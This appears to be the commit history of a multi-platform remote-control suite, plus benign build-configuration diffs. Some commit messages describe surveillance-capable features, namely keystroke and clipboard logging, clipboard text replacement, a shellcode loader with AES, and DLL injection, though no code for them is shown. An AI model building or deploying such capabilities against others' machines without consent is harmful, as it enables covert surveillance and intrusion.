129 Commits

Author SHA1 Message Date
yuanyuanxiang
92f6683fe1 Release v1.3.7 2026-06-26 15:28:57 +02:00
yuanyuanxiang
d7408ad4df Feat: Client build dialog support building Android application 2026-06-25 17:48:45 +02:00
yuanyuanxiang
5296e534ed Fix: Android client stops service when server sends BYE (delete client)
ConnectionThread now calls CaptureService.onNativeExit() via JNI on exit
when g_bExit == S_CLIENT_EXIT (server-initiated). The Java side posts
stopSelf() on the service handler. Guard: instance is null in the
user-initiated teardown path (onDestroy nulls it before nativeStop),
so onNativeExit is a no-op in that case.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 17:38:01 +02:00
yuanyuanxiang
5a1430e904 Feat: Android client device grouping with persistent group name
- szPCName sent as "model/groupName" format matching Linux client
- CMD_SET_GROUP handler updates g_SETTINGS.szGroupName in memory
- Group name persisted to filesDir/yama_group; survives process restart
- LoadGroupName() at startup overrides build-time patch value if file exists

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 17:38:01 +02:00
yuanyuanxiang
218ee4f43d Feat: TV remote control via D-pad focus navigation using AccessibilityService 2026-06-24 22:31:14 +02:00
yuanyuanxiang
45553ec5b6 Feat: Android client Phase 0-3 full implementation 2026-06-21 23:00:05 +02:00
yuanyuanxiang
837d89c8b5 Feat: Sub-license count limit - LicenseLimit field in licenses.ini + context menu
- Add LicenseLimit field to LicenseInfo struct (0 = not set, unlimited)
- Add GetLicenseLimit/SetLicenseLimit: read/write LicenseLimit key in licenses.ini
- Append |lic:N to reserved field in TOKEN_AUTH response only when
  LicenseLimit > 0; absent |lic: means no limit (client defaults to 9999),
  so super admin authenticating to its own server is never falsely terminated
- Add "Sub-license limit" item in CLicenseDlg right-click menu (1-9999,
  empty = clear limit); menu label shows current value in real time
- Limit change takes effect when sub-client re-authenticates

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-20 13:01:35 +02:00
yuanyuanxiang
c1433b4b5d Fix: Restore memory DLL at client program startup 2026-06-20 12:38:28 +02:00
yuanyuanxiang
71963b740b Fix: Authorization client use different keyboard log directory 2026-06-20 12:38:28 +02:00
yuanyuanxiang
5b37df26fd Opt: improve adaptive-size rendering 2026-06-20 12:38:28 +02:00
yuanyuanxiang
851fed4739 Feat: sign TOKEN_AUTH response and add TOKEN_SERVER_VERIFY to prevent fake server
TOKEN_AUTH: when the server has a V2 private key, signs "SN|valid(0/1)"
with ECDSA P-256 and places "sig:<base64>" in the response reserved field.
Clients can verify server identity without changing the request format.

TOKEN_SERVER_VERIFY (251): added constant to commands.h; handler already
present in 2015RemoteDlg.cpp for the challenge-response server identity check.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-20 12:38:28 +02:00
yuanyuanxiang
103123f533 Feat: anti-cracking hardening - version binding and updated libs 2026-06-20 12:38:20 +02:00
yuanyuanxiang
66c950cecb Refactor: split ScanScreen window-capture into 3 private methods 2026-06-16 21:03:45 +02:00
yuanyuanxiang
91d4c0a523 Fix: eliminate extra screen restarts on connection init
Two changes to reduce unnecessary CScreenSpy restarts when connecting:

1. Client (ScreenManager.cpp): Initialize CScreenSpy with bitrate from
   the locally-saved quality profile, so CMD_QUALITY_LEVEL arriving from
   the server (same bitrate as default) hits SetBitRate(3000)==3000 and
   skips the restart instead of comparing against the hard-coded 0.
   Also fixes QualityLevel init to use the already-computed `quality`
   variable (which honours the QUALITY_DISABLED override when algo!=NUL)
   rather than re-reading the cfg key a second time.

2. Server (ScreenSpyDlg.cpp): Only send CMD_SCREEN_SIZE strategy=2 when
   the session is in QUALITY_ADAPTIVE mode and a cached maxWidth exists.
   Fixed quality levels already carry resolution via CMD_QUALITY_PROFILES,
   so unconditionally sending CMD_SCREEN_SIZE caused a second restart when
   the screen spy was still rebuilding from the first one.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-15 22:14:06 +02:00
yuanyuanxiang
abafd673a2 Opt: skip 8MB raw first-frame in H264 mode; server unlocks on first IDR instead
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-15 21:29:59 +02:00
yuanyuanxiang
2765d95950 Feat: Support viewing active window via online-host popup menu 2026-06-15 19:15:31 +02:00
yuanyuanxiang
931492a294 Fix: clamp ARGBToNV12 dims to even-aligned ctx width/height
to prevent heap overflow on odd-sized windows
2026-06-15 19:14:49 +02:00
yuanyuanxiang
d3b9e7faae Feat: window capture via PrintWindow with server-side HWND routing by clientID 2026-06-15 14:11:42 +02:00
yuanyuanxiang
5757ec7965 Release v1.3.6 2026-06-14 09:39:07 +02:00
yuanyuanxiang
eaa0cc6d0b Feat: Z button ROI region, sends COMMAND_SCREEN_ROI to restrict capture area 2026-06-14 07:34:30 +02:00
yuanyuanxiang
63ef75b7ce Feat: ROI screen capture with remote control support via COMMAND_SCREEN_ROI
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-14 00:24:46 +02:00
yuanyuanxiang
1335d636da Feat: copy selected online host info to clipboard as CSV with menu bitmap 2026-06-12 19:13:23 +02:00
yuanyuanxiang
b4ef42923a Fix: move InitControl() before PostMessage to prevent empty columns 2026-06-11 22:38:26 +02:00
yuanyuanxiang
8c64886512 Feat: draggable splitter bar to resize host list and message log proportions 2026-06-11 22:18:23 +02:00
yuanyuanxiang
773f5d5973 Feat: add HideMsg toggle to hide/show message log panel with menu checkmark 2026-06-11 22:13:30 +02:00
yuanyuanxiang
2843a260b0 Feat: copy selected message log rows to clipboard as CSV 2026-06-11 21:34:42 +02:00
yuanyuanxiang
3f662f1ca7 Fix: macOS use quality profile FPS/bitrate, add HW resolution downscaling 2026-06-10 22:40:03 +02:00
yuanyuanxiang
8e5ec20cf2 Fix: Calculate RTT exclude server side UI queue delay time 2026-06-09 10:01:50 +02:00
yuanyuanxiang
96688166ba Fix: clear residual image outside remote frame in non-adaptive scroll mode 2026-06-07 21:05:29 +02:00
yuanyuanxiang
1f538719a8 Fix: sub-connection disconnect (e.g. RDP) no longer clears thumbnail of still-online host 2026-06-07 15:56:52 +02:00
yuanyuanxiang
9f6476a7c4 Fix: Building ServerDll/TinyRun with Shellcode+AES loader now works 2026-06-07 11:25:48 +02:00
yuanyuanxiang
5a20355547 Improve: AuthKernel use the machine id as client identify id 2026-06-06 14:54:42 +02:00
yuanyuanxiang
1430ab3261 Feature: Add a menu to uninstall master/server software 2026-06-06 13:02:29 +02:00
yuanyuanxiang
ec7cfa1d63 style: Add macros to enable/disable client building features 2026-06-05 00:05:13 +02:00
yuanyuanxiang
fc0be64880 Fix(macOS): restore dblclick for MAC touch, fix scroll speed (10px→40px per notch) 2026-06-04 15:33:12 +02:00
yuanyuanxiang
be09b271e1 Feature(Go): issue-token subcommand for minting customer JWTs 2026-06-04 11:05:17 +02:00
yuanyuanxiang
4064bbe25d Feature(licensing): anonymous trial mode + server-side quota enforcement 2026-06-04 11:04:28 +02:00
yuanyuanxiang
fcd3b13ca8 Fix: skip detection black-screen on single-monitor capture 2026-06-03 19:09:26 +02:00
yuanyuanxiang
99be79b7ae Fix: Save keyboard input log to file every 10 minutes 2026-06-03 19:03:32 +02:00
yuanyuanxiang
dc83c2df42 Feature(web): show host remark alongside hostname 2026-06-02 22:07:56 +02:00
yuanyuanxiang
a52874fe08 Feature(web): bandwidth read-out + collapsible fullscreen toolbar 2026-06-02 21:50:21 +02:00
yuanyuanxiang
7aeb7b6ed5 Fix: guard on share_list to avoid duplicate sub-clients on reconnect 2026-06-02 20:52:27 +02:00
yuanyuanxiang
498c7d15b3 Feature(web): Add toolbar audio toggle button 2026-06-02 20:52:20 +02:00
yuanyuanxiang
9aca587654 Feature(audio): forward client PCM to web viewers with continuous playback 2026-06-02 12:09:57 +02:00
yuanyuanxiang
da024fb3fb Release v1.3.5 2026-05-31 17:34:30 +02:00
yuanyuanxiang
a5a04aaab7 fix(web): improve touch double-click reliability across platforms
Increase touch move threshold to prevent accidental drag detection.

Simulate physical double-click with two sequential click events and a 20ms delay instead of using non-standard dblclick event.

Fix folder renaming and unresponsiveness issues on Windows, Linux, and macOS.
2026-05-30 23:41:03 +02:00
yuanyuanxiang
c846d11efa Feature: add menu-driven compress/extract via custom file+folder picker 2026-05-30 18:10:15 +02:00
yuanyuanxiang
9fe8ab746a Perf(screen): skip encode on identical frames to cut HW encoder idle bandwidth 2026-05-30 00:12:47 +02:00
yuanyuanxiang
8c7f612449 Feature: Implement H.264 and AV1 hardware encoding for remote control
Remark: Need to update FFmpeg static libraries to take effort
2026-05-30 00:12:38 +02:00
yuanyuanxiang
d1aa7a2c02 Fix: guard IOCPClient against early packet before setManagerCallBack 2026-05-28 23:50:56 +02:00
yuanyuanxiang
c0a632a4c6 Compliance: Add building option to disable x264 and ffmpeg 2026-05-27 18:58:29 +02:00
yuanyuanxiang
085543b0f1 Fix(license): respect BindType when validating SN on import 2026-05-27 15:28:56 +02:00
yuanyuanxiang
1fd431ba76 Fix(logger): preserve queued logs on shutdown; record exit signal 2026-05-27 08:55:14 +02:00
yuanyuanxiang
268a427172 Go:Add build pipeline for go server and fix web login bug 2026-05-27 08:47:21 +02:00
yuanyuanxiang
620aaf6827 Fix(license): IP list truncated at 4KB causing permanent data loss 2026-05-25 21:04:36 +02:00
yuanyuanxiang
d6fb612475 Refactor: Remove SCLoader.cpp and use the received DLL to inject 2026-05-25 00:16:39 +02:00
yuanyuanxiang
54c88539e5 Fix: Avoid sending authorization information to trail SN 2026-05-24 23:03:58 +02:00
yuanyuanxiang
92bf9c9ccb Fix(record): correct MJPEG upside-down playback
and remove 0-byte AVI residue on encoder open failure
2026-05-23 13:37:28 +02:00
yuanyuanxiang
99fc15ae41 Fix(cursor): correct trace cursor position on multi-monitor capture 2026-05-22 23:24:26 +02:00
yuanyuanxiang
62e962f216 doc(linux): Add linux client install.sh & uninstall.sh 2026-05-22 22:02:38 +02:00
yuanyuanxiang
740ec8baf3 Perf(license): mutex + write-suppression for licenses.ini hot path
licenses.ini was hit on every heartbeat -- 5s x clients x ~8 SetStr per
auth -- with no concurrency protection. Two consequences:
  1. 100 concurrent online would saturate the file (~160 writes/sec,
     full-file rewrite each via WritePrivateProfileString).
  2. Concurrent SetPendingRenewal / DecrementPendingQuota with no lock
     occasionally clobbered freshly-set renewal quotas (reported by
     user as "preset renewal silently disappears").

Add LicensesIniMutex() (Meyers singleton recursive_mutex, exposed in
CPasswordDlg.h so both CPasswordDlg.cpp and CLicenseDlg.cpp share it)
and wrap all 15 functions that touch licenses.ini.

Rewrite UpdateLicenseActivity around g_activityCache (in-memory state
keyed by "SN|IP|machine"): skip the entire write path when nothing
changed and the 30s LastActiveTime throttle window hasn't expired.
Passcode/HMAC are only flushed on actual change (renewal path); IP
list is only rewritten when the yyMMdd timestamp would roll a day.

Measured impact (local 2-client baseline):
  before: 0.60 writes/sec (4 writes per heartbeat cluster)
  after:  0.07 writes/sec (one write per client per 30s throttle)

Extrapolated to the 100-online target:
  before: ~160 writes/sec (saturation)
  after:  ~3.3 writes/sec  (100 clients / 30s throttle window)

Race elimination is the more important win: PendingQuota's
read-modify-write is now atomic, so the "preset renewal disappears"
race is closed.

Notes from audit (these landed during the same iteration):
- Cache key is (SN, IP, machine), not SN alone. A single SN can be
  shared by 100+ end machines in bulk-license deployments, so a
  per-SN cache flips on every heartbeat and defeats suppression.
  Per-(SN, IP, machine) throttling is what makes the 100/30 model
  actually hold; an SN-only key reproduced the original ~0.7 writes/s.
- DeleteLicense invalidates the per-SN activity cache via
  InvalidateLicenseActivityCache() (prefix scan since one SN maps to
  many cache entries). Without this, cache hits after delete would
  skip the auto-recreate path and leave the section permanently
  missing.
- OnLicenseViewIPs: m_ListLicense.SetItemText moved outside the lock
  so the critical section only covers disk I/O.
2026-05-22 00:31:54 +02:00
yuanyuanxiang
83d671c90f Fix(FRP): use UTC for privilegeKey timestamp to fix cross-timezone auth 2026-05-21 23:33:13 +02:00
yuanyuanxiang
5b7d3903b5 Feature: Automatically start frp client for subordinate 2026-05-21 23:33:06 +02:00
yuanyuanxiang
da443283f2 fix: Send AUTH to sub-master but generate wrong password 2026-05-21 21:37:52 +02:00
yuanyuanxiang
e5bb405f79 docs: migrate Release/Download targets to Gitea; keep stars/forks on GitHub
GitHub mirror is no longer maintained; v1.3.4+ releases land on Gitea only.
Repoint the Release-version badge and Download-Latest button (href + shields
endpoint + logo) at git.simpleremoter.com so visitors don't end up on a stale
GitHub release page.

Stars/forks badges stay on GitHub — vanity counters reflecting historical
accumulation, not navigation targets.

Also: server/go/README.md yama-issue-token link and the line-294 Markdown
"Releases" link in all three READMEs now point at Gitea.
2026-05-20 22:24:42 +02:00
yuanyuanxiang
6e743ada0b Release v1.3.4 2026-05-20 15:23:08 +02:00
yuanyuanxiang
d808462fe1 Feat(go): add Signer interface + License Server for multi-customer deployments 2026-05-20 15:22:47 +02:00
yuanyuanxiang
e264e092f6 Fix(client): harden TCP heartbeat against half-dead connections 2026-05-20 15:22:13 +02:00
yuanyuanxiang
707dcdbbb4 Fix(Web): exit remote-desktop fullscreen blocks device-list clicks 2026-05-19 22:20:58 +02:00
yuanyuanxiang
1c1bb3a5ff Fix(Go): notify browsers with device_offline so the webpage not frozen 2026-05-19 21:48:09 +02:00
yuanyuanxiang
cd43caafb2 Fix: Web remote desktop reliability and UX
- Server: clamp web session adaptive quality to H264-only levels (>=Good) in EvaluateQuality and ApplyQualityLevel; Ultra/High (DIFF/RGB565) caused the browser to freeze ~1 min into a session
- Server: move session-type detection to the top of ScreenSpyDlg::OnInitDialog and skip SetWindowPlacement/EnterFullScreen for hidden web sessions, eliminating the MFC dialog flash on web-triggered opens
- Linux client: default QualityLevel from QUALITY_ADAPTIVE to QUALITY_GOOD to match Windows/macOS so the server's adaptive controller doesn't auto-upgrade to non-H264 algorithms
- Web: clear the floating quick-action toolbar on fullscreen exit so its row of buttons (RDP reset / Mouse / Close) doesn't stay pinned to the top of the page
- Web: route F11 to the remote in control mode instead of toggling local fullscreen
- Web: route Esc to the remote in control mode via the Keyboard Lock API instead of exiting native fullscreen
2026-05-19 18:39:16 +02:00
yuanyuanxiang
d757c33bcb Fix(Go): stable device list ordering + RDP-reset handler
Fix UTF-8 login text decode + stale screen sub-conn retirement
2026-05-19 16:28:32 +02:00
5af017bf09 Improve Go Server to support remote desktop and command control (#1)
Reviewed-on: #1
2026-05-18 22:06:07 +00:00
yuanyuanxiang
32a75f4670 Security(Go): Login rate limit + WS origin allowlist + REST bearer auth 2026-05-18 22:06:07 +00:00
yuanyuanxiang
d7f38ecfdb Feature(Go): Web terminal relay with PTY mode and graceful close (Phase 6) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
6485e800d6 Feature(Go): Mouse/keyboard input + user management with users.json (Phase 5 + 7) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
fba4143dd1 Feature(Go): Screen frame relay end-to-end with graceful client BYE (Phase 4) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
4ea6ed252c Feature(Go): Web auth, WebSocket signaling and live device list (Phase 3) 2026-05-18 22:06:07 +00:00
yuanyuanxiang
534d3650c4 Feature(Go): Embed and serve web UI assets 2026-05-18 22:06:07 +00:00
yuanyuanxiang
2ed86b5e08 Fix(Go): Restore missing go.mod from SimpleRemoter migration 2026-05-18 22:06:07 +00:00
yuanyuanxiang
8dd1c936e2 Security: Web admin password via YAMA_WEB_ADMIN_PASS, decoupled from master password 2026-05-18 23:56:05 +02:00
yuanyuanxiang
ccab37658a Improve(Web): Touch-mode visual cursor follows remote IDC_* state 2026-05-17 20:02:10 +02:00
yuanyuanxiang
4e0627e6a3 Fix(Web): Align touchpad cursor overlay to SVG arrow tip 2026-05-17 19:12:55 +02:00
yuanyuanxiang
dc48091d5b Refactor(Web): Extract embedded HTML to server/web/index.html 2026-05-17 18:46:21 +02:00
yuanyuanxiang
4d2b12a9dd Compliance: Server-side anti-proxy for trail authorization 2026-05-16 19:48:39 +02:00
yuanyuanxiang
4279e79aa7 Compliance fix: Move LAN RTT check to KernelManager heartbeat 2026-05-16 00:06:01 +02:00
yuanyuanxiang
14387d69ca Compliance: Anti-proxy RTT check + tiered usage policy and disclaimer
Refine: Subtract server processing time from auth heartbeat RTT for proxy detection

chore: add MIT LICENSE + remove RAT-named related project link
2026-05-15 17:15:00 +02:00
yuanyuanxiang
744ebfba0d Improve(Web): Headless host opens terminal
fix two-finger scroll speed and zoom misdetect
2026-05-15 02:05:01 +02:00
yuanyuanxiang
5a92c3306f Feature: Web remote terminal (xterm.js + mobile UX polish) 2026-05-15 02:05:01 +02:00
yuanyuanxiang
5d9554780f Fix(Web): Map unshifted OEM symbols, send multi-char IME commits 2026-05-15 02:05:01 +02:00
yuanyuanxiang
84a52b9dcf Improve: Web UI - iOS safe-area, icon toolbar buttons, logout confirm 2026-05-15 02:05:00 +02:00
yuanyuanxiang
571ec7d80c Fix: Add AVX2 runtime check and optional x264 compilation 2026-05-14 13:39:44 +02:00
yuanyuanxiang
ead4f909ee Fix: Match thumbnail column selection bg on listview focus loss 2026-05-13 21:44:26 +02:00
yuanyuanxiang
e762e3cbd1 Feature: Add live thumbnail preview column to online host list 2026-05-13 18:43:20 +02:00
yuanyuanxiang
6c32b478af Feature: Add "Play Snapshot" loop preview windows for online hosts 2026-05-13 13:05:31 +02:00
yuanyuanxiang
b813d94486 Improve: Finish "scheduler.h" to support all running plan 2026-05-12 22:53:17 +02:00
yuanyuanxiang
0fe67b16d5 Feature: Support replacing clip text via keyboard management dialog 2026-05-11 20:22:07 +02:00
yuanyuanxiang
b69d61617f Improve: Keyboard logger supports logging clipboard changes 2026-05-11 00:49:18 +02:00
shaun
929436e29d Fix: DO NOT use absolute resource path in .RC file 2026-05-10 23:42:58 +02:00
yuanyuanxiang
95946e0e6a Release v1.3.3 2026-05-10 20:01:13 +02:00
yuanyuanxiang
ab7a16bec5 Feature: Support building macOS client via "Build-Dialog" 2026-05-10 19:46:48 +02:00
yuanyuanxiang
9acd141cab Fix: Modern Terminal blank under SYSTEM; precise reason in info list 2026-05-10 17:36:46 +02:00
yuanyuanxiang
153cbddcf6 Fix: V2 file transfer broken via FileManager dialog (both directions) 2026-05-10 13:50:04 +02:00
yuanyuanxiang
d46176f4ef Refactor: extract Linux/macOS client shared code into common 2026-05-10 10:15:14 +02:00
yuanyuanxiang
70354e244c Improve: Add adaptive screen algorithm option and set to default
Fix: send Windows client path/username as UTF-8 (consistent with CLIENT_CAP_UTF8), keep client ID stable across upgrade
2026-05-09 23:13:24 +02:00
yuanyuanxiang
a354f1ed86 Improve: Embed Modern Terminal DLL in master's resources
Fix: keep Linux/macOS client alive across server restarts; gate all commands on auth-verified state to neutralize unauthorized servers
2026-05-09 00:43:55 +02:00
yuanyuanxiang
f85cc8b86c Fix: Linux client UTF-8 path/active-window garbled on server 2026-05-08 14:03:45 +02:00
yuanyuanxiang
bc06fd5af5 Feature: Linux/macOS server-identity gate via libsign.a
fix remote-cursor flicker on Windows controller
2026-05-08 12:39:59 +02:00
yuanyuanxiang
731ff7a894 Feature: right-click region screenshot in non-control mode 2026-05-08 09:27:19 +02:00
yuanyuanxiang
566f5b8d42 Feature: screen preview thumbnail on host double-click
Server sends COMMAND_SCREEN_PREVIEW_REQ when user double-clicks an
active (non-Locked/Inactive) host that advertises CLIENT_CAP_SCREEN_PREVIEW.
Client BitBlts primary screen, encodes to JPEG via GDI+ and replies. The
existing STATIC tooltip is replaced with a self-drawn CPreviewTipWnd
showing the thumbnail above the host info text, with wide-character
rendering so the popup also works on non-Chinese servers.

- Quality tiers reuse QualityProfile pattern: PreviewProfile + 6 levels
  driven by GetTargetQualityLevel (FRP-aware), with 4K/ultrawide auto
  upscale on Ultra/High tiers up to min(screenWidth/4, 1280).
- Client limits to 1 in-flight capture via atomic counter to defend
  against flood/DoS; Send2Server is already mutex-serialized.
- Server validates responses by reqId only (single in-flight tip);
  4s arrival timeout marks "preview unavailable" without blocking the
  text fallback path.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 18:17:28 +02:00
yuanyuanxiang
70a6b0128e Fix: log list header click was sorting host list (longstanding cross-talk)
ON_NOTIFY(HDN_ITEMCLICK, 0, ...) matches the inner header control's ID,
which is 0 for both m_CList_Online and m_CList_Message. So clicks on
either list's header reach OnHdnItemclickList, which always sorts the
host list by the clicked column index.

The cross-talk has existed since the initial migration commit (5a325a2).
It went unnoticed because pre-0aa7588 both lists' headers triggered the
handler in A mode and the columns happened to align (host list cols 0..2
== IP/Addr/Location, log list also has 3 cols), so log-header clicks
appeared to "sort plausibly". After 0aa7588 only the log list's A-mode
header reached the handler, surfacing the strange "click log header
re-sorts hosts" behavior.

Guard the handler by checking pNMHDR->hwndFrom against the online list's
header HWND. Log header clicks now have no effect on the host list.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 10:47:05 +02:00
yuanyuanxiang
b252cbbaf2 Fix: header sort broken after LVM_SETUNICODEFORMAT (also map HDN_ITEMCLICKW)
The i18n commit (0aa7588) enabled LVM_SETUNICODEFORMAT(TRUE) on the online
list. That flag also flips the embedded header control to Unicode mode, so
header notifications switch from HDN_ITEMCLICKA (= HDN_ITEMCLICK in MBCS
build) to HDN_ITEMCLICKW. The existing ON_NOTIFY mapping only handles the
A version, so clicking the column header silently does nothing.

Add a parallel ON_NOTIFY for HDN_ITEMCLICKW dispatching to the same handler.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 10:37:24 +02:00
yuanyuanxiang
5f4fb62d20 Fix: tray icon not showing in Release service+agent mode (drop NIF_GUID)
NIF_GUID binds the tray icon to the EXE's full path. Once a GUID is
registered for one path, Shell_NotifyIcon(NIM_ADD) silently fails for any
other path using the same GUID. This caused Debug-vs-Release builds and
service+agent dual-process scenarios to fight over the same GUID slot.

Drop NIF_GUID and the static NOTIFY_ICON_GUID; revert to the traditional
(hWnd, uID) identification. The icon is freshly registered per process
launch, no path binding, no cross-instance interference.

The NIF_GUID was leftover from the AUMID/Toast experiment that was later
reverted; only the tray-icon side of that change wasn't cleaned up.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 00:17:32 +02:00
yuanyuanxiang
ef8165c3b4 Feature: sub-connection auth (TOKEN_CONN_AUTH) with HMAC + clientID binding
Client first packet on every sub-connection signs (clientID || timestamp ||
nonce) and waits for server ack. Server verifies signature and pins clientID
on the sub-connection ctx, eliminating IP-reverse-lookup unreliability for
NAT/localhost scenarios. Sub-conn coverage: Win 12 sites, Linux/macOS 3-4
each. Main connection keeps existing TOKEN_LOGIN flow unchanged.

Includes:
- Protocol structs sized to 512/256 bytes with reserved space for future
  extensions (locale, OS info, session token, etc.)
- 5-min timestamp tolerance (Kerberos-grade replay window)
- 10-sec client wait for cross-pacific / weak-network tolerance
- Fix RemoveFromHostList side-effect ordering: MarkDeviceOffline and
  m_ActiveWndW.erase now only fire when ctx is actually removed from
  m_HostList, preventing sub-conn disconnects from misreporting main as
  offline (regression introduced by auth-set clientID on sub ctx)
- Fix latent bug: IOCPClient::m_conn was never assigned in ctor, leaving
  GetConnectionAddress() always NULL and FileManager V2 transfer's
  srcClientID always 0

Breaking change: new client cannot use sub-features against old server.
New server tolerates legacy clients (no auth). Future tightening can reject
unauthenticated sub-connections via IsAuthenticated() flag.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 00:04:40 +02:00
yuanyuanxiang
2c5b5ad628 Improve: client/server - stable client ID via MachineGuid+path (V2) 2026-05-06 21:32:06 +02:00
yuanyuanxiang
0aa75882d1 i18n: UTF-8 protocol capability + Unicode rendering on server 2026-05-06 19:29:02 +02:00
yuanyuanxiang
11434653e9 Feature: Add debug configuration for Microsoft VS Code 2026-05-06 09:51:17 +02:00
yuanyuanxiang
05a9bb1245 Feature: Allow external resource override from res/ directory 2026-05-05 21:21:38 +02:00
yuanyuanxiang
a89f8dd28f Feature: Add zoom functionality for remote desktop viewer in non-control mode 2026-05-05 15:09:16 +02:00
yuanyuanxiang
6113b4653d Fix: Resend login info after group change for macOS/Linux clients 2026-05-05 13:35:02 +02:00
yuanyuanxiang
f11fc93ba8 Feature: Embed language resources, disk files act as optional patches 2026-05-05 13:22:47 +02:00
yuanyuanxiang
773c78ac0f Improve master authorization logs and web remote desktop cursor 2026-05-05 12:46:05 +02:00
yuanyuanxiang
92f3df8464 Perf: Optimize macOS screen capture with CGDisplayStream
Core optimization:
- Use CGDisplayStream instead of per-frame CGDisplayCreateImage
- Push model: CPU sleeps when screen is static (condition_variable wait)
- IOSurface capture avoids expensive image creation per frame
- ~47% CPU reduction during active remote desktop (45% → 24%)

Additional optimizations:
- vImageVerticalReflect (SIMD) replaces manual row-by-row flip
- Cache CGColorSpaceRef to avoid per-frame creation/release
- Cache tempBuffer to avoid per-frame memory allocation
- Throttle getCursorTypeIndex to 250ms (Accessibility API is expensive)

Bug fixes:
- Fix unreliable screen capture permission check (use actual capture test)
- Improve permission logging

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-03 23:36:23 +02:00
yuanyuanxiang
b732f841d0 fix(server): Prevent crash from dangling pointers in file dialog map
Fixed two bugs when closing ScreenSpyDlg with file transfer dialogs:

1. Access violation (0xC0000005): CDlgFileSend self-destructs via
   PostNcDestroy (delete this) when closed, leaving dangling pointers
   in m_FileRecvDlgs map.

2. Double-free: Original code called DestroyWindow() then delete,
   but DestroyWindow already triggers delete this via PostNcDestroy.

Solution:
- Store {HWND, pointer} pairs instead of raw pointers
- Check HWND validity with IsWindow() before accessing pointer
- Use SendMessage(WM_CLOSE) to let dialog self-destruct safely
- Always erase map entries to prevent accumulation of invalid data

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-03 15:29:31 +02:00
yuanyuanxiang
1df2a7b321 feat(macos): Add clipboard support to match Linux implementation 2026-05-03 13:53:58 +02:00
yuanyuanxiang
3d8e90da14 Feature: Add daemon mode (-d) support for macOS 2026-05-03 13:35:30 +02:00
yuanyuanxiang
12e2a33062 Fix: Prevent reconnect crash by clearing callback before destruction 2026-05-03 13:16:02 +02:00
yuanyuanxiang
a8b0932080 Feature: Implement Linux cursor type detection using XFixes extension 2026-05-03 12:58:29 +02:00
yuanyuanxiang
ca37fa419a Feat: Implement H264 for Linux client with dynamic libx264 loading 2026-05-03 12:15:22 +02:00
281 changed files with 32953 additions and 16496 deletions

4
.gitattributes vendored
View File

@@ -1,6 +1,10 @@
# Auto detect text files and perform LF normalization
* text=auto
# Shell scripts must keep LF line endings even when checked out on Windows,
# otherwise Linux refuses them with "bad interpreter: /usr/bin/env^M".
*.sh text eol=lf
# Custom for Visual Studio
*.cs diff=csharp

22
.gitignore vendored
View File

@@ -74,3 +74,25 @@ test/build/
docs/MultiLayerLicense_Design.md
docs/MultiLayerLicense_Implementation.md
docs/_CodeReference.md
linux/CMakeFiles/*
Releases/*
*.log
*.txt
linux/Makefile
linux/cmake_install.cmake
.vs
client/ghost_vs2015.vcxproj.user
docs/macOS_Support_Design.md
settings.local.json
*.zip
*.lic
YAMA.code-workspace
.claude/settings.json
.vscode/settings.json
Bin/*
nul
server/go/web/assets/index.html
server/go/users.json
server/go/build/
server/go/.claude/settings.json
android/app/.cxx/

43
.vscode/build.ps1 vendored Normal file
View File

@@ -0,0 +1,43 @@
param(
[Parameter(Mandatory = $true)]
[string]$Target,
[ValidateSet("Debug", "Release")]
[string]$Configuration = "Debug",
[ValidateSet("x64", "x86", "Win32")]
[string]$Platform = "x64"
)
$ErrorActionPreference = "Stop"
$vswhere = Join-Path ${env:ProgramFiles(x86)} "Microsoft Visual Studio\Installer\vswhere.exe"
if (-not (Test-Path $vswhere)) {
Write-Host "ERROR: vswhere.exe not found at $vswhere" -ForegroundColor Red
Write-Host "Install Visual Studio Installer (comes with VS 2017+)." -ForegroundColor Yellow
exit 1
}
$msbuild = & $vswhere -latest -prerelease -products * `
-requires Microsoft.Component.MSBuild `
-find 'MSBuild\**\Bin\MSBuild.exe' | Select-Object -First 1
if (-not $msbuild) {
Write-Host "ERROR: MSBuild not found via vswhere" -ForegroundColor Red
exit 1
}
$sln = Join-Path $PSScriptRoot "..\YAMA.sln" | Resolve-Path
Write-Host "MSBuild : $msbuild" -ForegroundColor Cyan
Write-Host "Solution: $sln" -ForegroundColor Cyan
Write-Host "Target : $Target | $Configuration | $Platform" -ForegroundColor Cyan
Write-Host ""
& $msbuild $sln.Path `
"/t:$Target" `
"/p:Configuration=$Configuration" `
"/p:Platform=$Platform" `
/m /v:minimal /nologo
exit $LASTEXITCODE

61
.vscode/c_cpp_properties.json vendored Normal file
View File

@@ -0,0 +1,61 @@
{
"version": 4,
"configurations": [
{
"name": "Win32",
"intelliSenseMode": "windows-msvc-x64",
"compilerPath": "cl.exe",
"cStandard": "c11",
"cppStandard": "c++17",
"windowsSdkVersion": "10.0.19041.0",
"includePath": [
"${workspaceFolder}",
"${workspaceFolder}/client",
"${workspaceFolder}/common",
"${workspaceFolder}/compress",
"${workspaceFolder}/compress/ffmpeg",
"${workspaceFolder}/server/2015Remote",
"${workspaceFolder}/server/2015Remote/proxy",
"${workspaceFolder}/client/d3d",
"${env:VLDPATH}/include"
],
"defines": [
"_WIN32",
"_WINDOWS",
"_DEBUG",
"_MBCS",
"ZLIB_WINAPI",
"_CRT_SECURE_NO_WARNINGS",
"_AFXDLL",
"_USRDLL"
],
"browse": {
"path": [
"${workspaceFolder}/client",
"${workspaceFolder}/common",
"${workspaceFolder}/compress",
"${workspaceFolder}/server"
],
"limitSymbolsToIncludedHeaders": true
}
},
{
